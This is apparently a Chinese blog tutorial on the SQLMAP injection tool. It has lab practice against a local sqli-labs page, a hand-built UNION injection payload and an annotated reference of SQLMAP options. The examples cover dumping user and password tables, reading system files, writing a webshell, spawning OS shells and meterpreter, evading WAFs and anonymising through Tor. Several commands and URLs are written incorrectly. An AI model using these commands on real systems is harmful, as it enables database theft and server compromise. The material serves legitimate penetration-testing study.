抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

本文学习SQLMAP工具的使用。
以及附录的SQLMAP参数百科全书。

一、SQLMAP介绍

SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上执行命令。

SQLMAP支持的数据库:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库。

SQLMAP目前支持的注入方式:

  • B:布尔型注入(Boolean-base blind SQL injection)
  • E:报错型注入(Error-based SQL injection)
  • U:可联合查询注入(UNION query SQL injection)
  • S:可多语句查询植入(Stacked queries SQL injection)
  • T:基于时间延迟注入(Time-base blind SQL injection)
  • Q:内联注入(Inline SQL injection)

SQLMAP功能模块

目标 至少为目标提供一选项
请求(Request) 指定如何连接目标URL的方法
优化(Optimization) 优化SQLMAP的性能
注入(Injection) 指定测试哪些参数,提供注入Payload和篡改脚本
侦测(Detection) 侦测阶段的定制化
技巧(Techniques) 调整特定SQL注入技术的技巧
枚举(Enumeration) 枚举后端数据库管理系统信息、数据表的数据接口
暴力执行(Brute Force) 暴力检查
用户定义注入函数(User-defined Function Injection) 建立用户定义函数
访问文件系统(File System Access) 访问后端数据库管理系统的底层文件系统
操作系统连接(Operating System Access) 连接后端DBMS底层的操作系统
Windows注册表连接(Windows Registry Access) 连接后端DBMS底层的Windows注册表
通用(General) 设置一些通用参数

二、SQLMAP下载与安装

SQLMAP下载地址:http://sqlmap.org/

查看SQLMAP是否安装 python3 sqlmap.py -h 如下图则已完成SQLMAP工具安装

image-20200327153430204

三、SQLMAP命令练习

命令拆解

python sqlmap.py -u "http:127.0.0.1:8999/Less-1/?id=1" -user-agent=websecurity -threads=5 -p id --level --technique=E --current=user --flush-session --beep

image-20200330125655149

python sqlmap.py -u "http:127.0.0.1:8999/Less-1/?id=1"

image-20200330171627205

image-20200330171645415

SQLMAP注入流程

image-20200330171807960

SQLMAP注入技巧

需要用到*的情况:
  1. URL中的值,SQLMAP默认不注入,需要*指定
  2. JSON格式,SQLMAP会无效,需要*才能进行
  3. 在默认Level=1时,可以使用*对特定的请求头做注入

命令1:python sqlmap.py -u http://127.0.0.1:8999/Less-1/?id=*1 --flush-session --batch --technique=B

命令2:python sqlmap.py -u http://127.0.0.1:8999/Less-1/?id=1* --flush-session --batch --technique=B

如果不指定user-agent时,将会带有sqlmap标记。
prefix和suffix

修改Less-1源代码

image-20200330193816184

手动构造注入语句:

http://127.0.0.1:8999/Less-1/?id=id=-4436)))) UNION ALL SELECT NULL,CONCAT(0x716b627171,current_user(),0x717a627671),NULL--+

image-20200330194140960

利用SQLMAP工具注入:

python sqlmap.py -u http://127.0.0.1:8999/Less-1/?id=1 --flush-session --batch --technique=U

无法得到注入点

image-20200330202253029

需要使用--prefix--suffix来使得语句的闭合,保证正常的Payload注入

–prefix -> )))) 闭合前面的符号

–suffix -> –hhh 注释、闭合后面的数据

python sqlmap.py -u http://127.0.0.1:8999/Less-1/?id=1 --flush-session --batch --technique=U --prefix="))))" --suffix="-- hh"

image-20200330202816224

payload检测原理

Payload中几个常用参数

  • –no-cast cast() 关闭cast函数的使用
  • –np-escape char() 关闭char() 减少载荷,加快效率
  • –hex() 有时候字符编码问题可能会导致数据缺失,可以用hex()函数来避免

image-20200330215723032

risk和level

level是测试范围,risk是语句深度

两者都会影响Payload的测试量,值越大,量越大。

level解释:高等级level会包含低等级level的测试

  • level>=2时,会测试cookie
  • level>=3时,会测试user-agent,referer
  • level>=5时,会测试HOST

risk解释:高等级risk会包含低等级risk的测试

  • 1 默认,会测试大部分的测试语句
  • 2 会加上基于事件的测试语句
  • 3 会增加OR语句的SQL注入测试

附录:SQLMAP Wiki

对上述提到了十二个SQLMAP功能模块,我们从实战的角度将功能重新分成Options、Target、Request、Optimization、Injection、Detection、Techniques、Fingerprint、Enumeration、Brute Force、User-defined Function Injection、File System Access、Operating System Access、Windows Registry Access、General、Miscellaneous共十六个模块来讲解。

(部分参数未能理解含义,见谅。若对参数有别的见解可以联系我呀!!!)

3.1 Options(选项)

参数 解释
-h-hh 查看帮助
–version 查看版本
-v 显示信息级别,共有六级:0.只显示Python错误和一些严重信息 1.显示基本信息(默认)2.显示Debug信息 3.显示注入过程的Payload 4.显示HTTP包请求 5.显示HTTP响应头 6.显示HTTP响应页面

3.2 Target(目标)

这些选项可用于指定连接何种目标(数据库、URL、文件)。

参数 解释
-d 直接连接目标后端数据库,并不使用SQL注入漏洞,通过目标端口侦听实现。需要注意的是输入目标数据库的账号与密码。例如-d "mysql;//username;password@127.0.01:3306/databasename" --dbs
-u 指定URL连接。例如-u "www.implanck.com/index.php?id=1"
-l SQLMAP扫描log文件中所有记录。例如-l log.txt
-x 站点地图,返回给SQL一个XML文件
-m 提供包含URL的TXT文件,SQLMAP会自动化检查其中所有URL。例如-m target.txt
-r 提供包含POST请求方式的数据包的TXT文件,SQLMAP会通过POST方式检测目标。例如-r post.txt
-g 使用Google搜索类似的网站。例如-g "inurl:\".php?id=1\""
-c 提供命令的TXT文件,让SQLMAP执行文件中的命令。也可以配合--sava命令将结果写入文件。

3.3 Request(请求)

这些选项可用于指定如何连接到目标 URL。

参数 解释
–method=METHOD 指定利用GET方法还是POST方法。例如--method=GET--method=POST
–data=DATA 指定后接参数(POST型)。例如-u "www.implanck.com/index.php" --data="id=1" union select 1,2,3"
–param-del=PARA 指定使用的变量分隔符。例如-u "www.implanck.com/index.php?id=1" data="name=1;pass=2" --para-del=";"
–cookie=COOKIE 指定使用的cookie。例如-u "www.implanck.com/index.php?id=1" --cookie="a=1;b=2"
–cookie-del=COO.. 与–param-del=PARA类似,不再赘述。
–load-cookies=L.. 从Netscape/wget格式的cookie文件中加载cookie
–drop-set-cookie SQLMAP默认开启set-cookie功能(当收到一条含有set-cookie的HTTP包时,下次SQL会使用新的cookie进行发包)。如果使用这条命令则关闭此功能。
–user-agent=AGENT 指定user-agent值测试。SQLMAP默认会使用自己的user-agent值(SQLMAP自身user-agent为sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org))进行测试。例如--user-agent="aaaaaa"
–random-agent 使用随机user-agent值测试。可在sqlmap/data/txt/user-agents.txt中查看。
–host=HOST 指定HTTP包中的HOST头参数。例如--host="aaaaa"
–referer=REFERER 指定HTTP包中的referer字段。例如--referer="aaaaa"
-H –headers 额外的headers头。例如--headers="www.implanck.com\nUser-Agent:planck"
–headers=HEADERS 同上面(注意构造HTTP包区分大小写)。另一个例子--headers="Accept-Language:fr\nTag:213"
–auth-type=AUTH.. 基于HTTP身份验证的种类(共有三种认证方式)。例如--auth-type Basic.Digest/NTLM
–auth-cred=AUTH.. 使用认证。例如--auth-type Basic --auth-cred "user:password"
–auth-file=AUTH.. 使用.PEM文件认证。例如--auth-file="AU.PEM"
–ignore-code=IG.. 无视响应HTTP状态码。例如--ignore-code=401
–ignore-proxy 无视本地设置的代码。
–ignore-redirects 无视HTTP重定向(状态码为3XX类型)。可以使用这个忽略登录成功会跳转到其他网页。
–ignore-timeouts 无视连接超时
–proxy=PROXY 设置代理。方便BurpSuite抓包。例如--proxy="127.0.0.1:8080"
–proxy-cred=PRO.. 代理需要认证。例如--proxy="name:password"
–proxy-file=PRO.. 使用文件加载代理
–tor 可用来屏蔽一个互联网用户的IP地址,允许匿名浏览。
–tor-port=TORPORT 设置默认的匿名浏览端口
–tor-type=TORTYPE 设置匿名浏览代理种类
–check-tor 检查是否正确使用匿名浏览
–delay=DELAY 每次发包的延时时间,单位为秒。例如--delay 2.5
–timeout=TIMEOUT 设置请求超时时间,默认为30秒
–retries=RETRIES 设置超时重连次数,默认为3。例如--retries=5
–randomize=RPARAM 设置随机参数长度(保证类型与输入值一致的情况下)。为了避免反复提交同一个参数引起服务器怀疑。
–safe-url=SAFEURL -u类似,额外功能是防止长时间不通讯服务器销毁session,开启这种功能会隔一段时间发一个包保持session
–safe-post=SAFE.. 同上。以POST形式发送
–safe-req=SAFER.. 同上。从一个文件获取目标
–safe-freq=SAFE.. 频繁发送错误请求,服务器会销毁session。开启此参数后,发几次错误的就会有发一次对的。适用于盲注
–skip-urlencode 跳过URL编码。(有些网站URL不遵守RFC标准编码)
–csrf-token=CSR.. 保持CSRF令牌的token
–csrf-url=CSRFURL 访问URL地址时获取CSRF的token
–force-ssl 强制使用SSL
–hpp
–eval=EVALCODE 指定执行一段Python代码。例如-u "www.test.com/index.php?id=1" -eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

3.4 Optimization(优化)

这些选项可用于优化SQLMAP的性能。

参数 解释
-o 开启--predict-output--keep-alive--null-connection功能
–predict-output 根据服务器返回值来猜测一个数据表存不存在。(与暴力破解不同的是在一个范围内慢慢缩小暴力破解范围)
–keep-alive 使用HTTP长链接,优点:性能更好,避免重复建立链接的开销;缺点:占用服务器资源。(注意:与–proxy不兼容)
–null-connection 分析返回报文页面的Length值,通常用于(时间延迟&布尔)盲注。
–threads=THREADS 开启多线程,线程数为1-10。(注意:与–predict-output不兼容)

3.5 Injection(注入)

这些选项可用于指定需要测试的参数,并提供自定义注入脚本和可选的篡改脚本。

参数 解释
-p TESTPARAMETER 指定测试的参数(使用此参数会使得--level参数无效)。例如-p "user-agent,referer"
–skip=SKIP 排除指定的参数。例如--level 5 --skip="id,user-agent"
–skip-static 跳过测试静态参数
–param-exclude=.. 使用正则表达式跳过测试参数
–dbms=DBMS 指定目标数据库类型。例如--dbms="MySQL<5.0>/Oracle<lli>/Microsoft SQL Server<2005>"
–dbms-cred=DBMS.. 数据库的登录认证。例如--dbms-cred="name:passwd"
–os=OS 指定目标操作系统。例如--os="Linux/Windows"
–invalid-bignum 通常情况下SQLMAP使用负值使得参数失效(id=-1)。开启这条参数后使用大数来失效(id=9999999999)。
–invalid-logical 利用逻辑运算符使得参数失效。例如id=1 and 1=2(and后面失效)
–invalid-string 利用随机字符串使得参数失效
–no-cast 获取数据时,SQLMAP将所有数据转换成字符串(空格使用NuLL代替)。
–no-escape 用于混淆和避免出错(单引号可能会被过滤机制拦截),SQLMAP使用char()编码。例如select "a"–>select char(97)
–prefix=PREFIX 指定Payload前缀(有时候我们猜到了服务器代码闭合情况,需要使用这个来指定)。例如-u "www.implanck/com/index.php?id=1" -p id --prefix")" --suffix "and ('abc'='abc"
–suffix=SUFFIX 同上
–tamper=TAMPER 使用SQLMAP自带的tamper,或者自己写的tamper,来混淆Payload。通常用来绕过WAF和IPS。

3.6 Detection(侦测)

这些选项可用于在侦测阶段时的自定义内容。

参数 解释
–level=LEVEL 设置测试等级(1-5,默认为1) lv2:cookie; lv3:user-agent,referer; lv5:host。具体的Payload可以在sqlmap/data/xml/payloads文件夹里查看。
–risk=RISK 风险(1-4,默认为1)升高风险等级会增加数据被篡改的风向 risk2:基于事件的测试 ;risk3:or语句的测试 ;risk4:update的测试
–string=STRING 指定字符串参数为判断结果真。(在基于布尔注入中,有时候返回的页面一次一个样,需要我们自己判断返回正确页面的标志,于是就设置返回正确页面的字符串)
–not-string=NOT.. 同上。指定NULL为真。
–regexp=REGEXP 同上。指定正则表达式来判断。
–code=CODE 指定HTTP返回码为判断结果真
–text-only 指定页面内一段文本内容为判断结果真
–titles 指定页面标题为判断结果真

3.7 Techniques(技巧)

这些选项可用于选取特定 SQL 注入技术。

参数 解释
–technique=TECH 指定所使用的技术(B:布尔盲注、E:报错注入、U:联合查询注入、S:文件系统,操作系统,注册表相关注入、T:时间延时盲注。默认全部使用)
–time-sec=TIMESEC 在基于时间延迟盲注时,指定判断时间,默认5秒(单位为秒)
–union-cols=UCOLS 联合查询尝试列数。(类似于ORDER BY x),随着level增加,最多支持50列。例如--union-cols 6-9
–union-char=UCHAR 联合查询默认使用的站列的是NULL,有的时候NULL可能会失效,因此可以手动指定其他字符。例如--union-char 1
–union-from=UFROM 联合查询从之前的查询结果中选择列
–dns-domain=DNS.. 指定DNS服务器来提升效率。例如--dns-domain abc.com
在某个页面注入的结果在另一个页面展示。例如--second-order www.implanck.com/a.php

3.8 Fingerprint(指纹)

参数 解释
-f, –fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息

3.9 Enumeration(枚举)

这些选项可用于枚举表中后端数据库管理系统信息、结构和数据。

参数 解释
-a, –all 暴力查找全部
-b, –banner 返回数据库管理系统的标识
–current-user 返回当前用户
–current-db 返回当前数据库
–hostname 返回主机名
–is-dba 检测 DBMS 当前用户是否为 DBA(数据库管理员)
–users 返回所用用户名
–passwords 返回用户密码的哈希值
–privilege 列举当前用户的权限(通过用户权限可以判断是否为管理员)。例如--privileges U root
–roles 列举当前用户权限
–dbs 返回目标服务器中数据库信息
–tables 返回目标数据库中数据表信息
–columns 返回目标数据表中列字段信息
–schema 返回目标服务器中所有(数据库、数据表、列字段)信息
–count 返回查询结果的个数
–dump 返回指定范围的所有信息。例如-D security -T users --dump
–dump-all 返回所有信息。
–search 搜索数据库、数据表和列字段的名称
–comments 检索数据库的备注
-D DB 查询指定某个数据库数据
-T TBL 查询指定某个数据表数据
-C COL 查询指定某个列字段数据
-X EXCLUDE 指定数据库的标识符
-U USER 指定用户(通常与其他参数联合使用)
–exclude-sysdbs 排除系统数据库
–pivot-column=P..
–where=DUMPWHERE 在dump时使用where条件限制
–start=LIMITSTART
–stop=LIMITSTOP
–first=FIRSTCHAR
–last=LASTCHAR
–sql-query=QUERY 执行SQL语句
–sql-shell 创建一个SQL的shell
–sql-file=SQLFILE 执行给定文件中的SQL语句

3.10 Brute Force(暴力执行)

这些选项可用于暴力检查。

参数 解释
–common-tables 检查整个数据库中有没有记录信息的数据库/表。(在MySQL>=5.0时,名为information_schema的数据表,存储了整个数据库的基本信息)
–common-columns 检查整个数据库中有没有记录列字段信息的公共表。

3.11 User-defined Function Injection(用户定义注入函数)

这些选项可用于用户定义注入函数。

参数 解释
–udf-inject
–shared-lib=SHLIB

3.12 File System Access(访问文件系统)

这些选项可用于访问后端数据库管理系统的文件系统。

参数 解释
–file-read=RFILE 读取目标站点的文件。例如--file-read="/etc/password"
–file-write=WFILE 写入目标站点的文件(通常与–sql-query联合使用,使用相对路径)。例如--sql-query="select "一句话木马" --file-write="shell.php"
–file-dest=DFILE 同上。使用绝对路径。

3.13 Operating System Access(操作系统连接)

这些选项可用于访问底层操作系统的后端数据库管理系统。

参数 解释
–os-cmd=OSCMD 执行系统命令。例如--os-shell="ipconfig -all"
–os-shell 执行远程系统命令(在目标站点操作系统上的Shell)
–os-pwn 同上。获取一个OOB shell、meterpreter、VNC。
–os-smbrelay 同上。一键获取获取一个OOB shell、meterpreter、VNC。
–os-bof 利用缓冲区溢出。
–priv-esc 自动提权。
–msf-path=MSFPATH 查看Metasploit Framework本地的安装路径。
–tmp-path=TMPPATH 远程临时文件目录的绝对路径

3.14 Windows Registry Access(Windows注册表连接)

这些选项可用于访问后端数据库管理系统的Windows注册表。

参数 解释
–reg-read 读取一个Windows注册表
–reg-add 添加一个Windows注册表
–reg-del 删除一个Windows注册表
–reg-key=REGKEY 与–reg-add连用,注册表key值
–reg-value=REGVAL 与–reg-add连用,注册表值
–reg-data=REGDATA 与–reg-add连用,注册表数据
–reg-type=REGTYPE 与–reg-add连用,注册表类别

3.15 General(通用)

这些选项可用于设置一些常规的测试参数。

参数 解释
-s SESSIONFILE 从一个文件加载保存的session
-t TRAFFICFILE 记录流文件的保存位置
–batch 批处理。在检测过程中有一些咨询问题,使用默认值答复。
–binary-fields=.. 指定二进制结果的字段
–check-internet 在评估目标之前检查互联网连接
–crawl=CRAWLDEPTH 初始位置爬虫的深度。例如--crawl=3
–crawl-exclude=.. 全部页面爬取除了…。例如--crawl-exclude="test.com/logout.php"
–csv-del=CSVDEL 指定在CSV输出中使用的分隔字符
–charset=CHARSET 强制字符串编码。例如--charset=gbk
–dump-format=DU.. 转存数据的格式。(默认CSV、HTML、SQLITE三种格式)
–encoding=ENCOD.. 用于数据检索的字符编码。
–eta 显示每个输出的预计到达时间
–flush-session 清空会话信息
–forms 在目标URL上解析和测试表单
–fresh-queries SQLMAP每次将查询结果存在.sqlmap文件夹中,若下次有相同的查询则直接调用上次的结果。使用这个参数忽略之前查询结果
–har=HARFILE 将HTTP流量记录在一个HAR文件
–hex DUMP非ASCII字符时,将其编码为16进制,收到后解码环境。
–output-dir=OUT.. 输出结果至文件。例如--ouput-dir=/tmp
–parse-errors 解析并显示报错文件
–save=SAVECONFIG 过滤信息
–scope=SCOPE
–test-filter=TE..
–test-skip=TEST..
–update 检查更新SQLMAP

3.16 Miscellaneous(杂项)

这些选项可用于不适合上述任何类别的一些杂项。

参数 解释
-z MNEMONICS 参数助记符,类似于alias。例如-z "abc"
–alert=ALERT 找到SQL注入时运行主机OS命令。
–answers=ANSWERS 设置问题答案。在--batch选择的是默认值,可以使用参数对特定问题设定特定答案。例如--answer "extending=N"
–beep 在SQL注入被发现时发出嘟嘟声。
–cleanup 从SQLMAP特定的UDF和表中找数据库。(暴力破解)
–dependencies 检查缺少的SQL映射依赖项。
–disable-coloring 禁止输出着色。
–gpage=GOOGLEPAGE
–identify-waf 识别目标的WAF机制
–mobile 模拟手机
–offline 离线运行
–purge-output 删除所有保存的数据文件夹
–skip-waf 跳过WAF/IPS/IDS保护的启发式检测
–smart 当有大量检测目标时,只选择基于错误的检测
–sqlmap-shell 打开交互式的SQLMAP-Shell
–tmp-dir=TMPDIR 更改临时存储文件的本地目录
–web-root=WEBROOT 设置Web服务器文档根目录。例如--web-root="/var/www"
–wizard 新手教程(挺有趣)

评论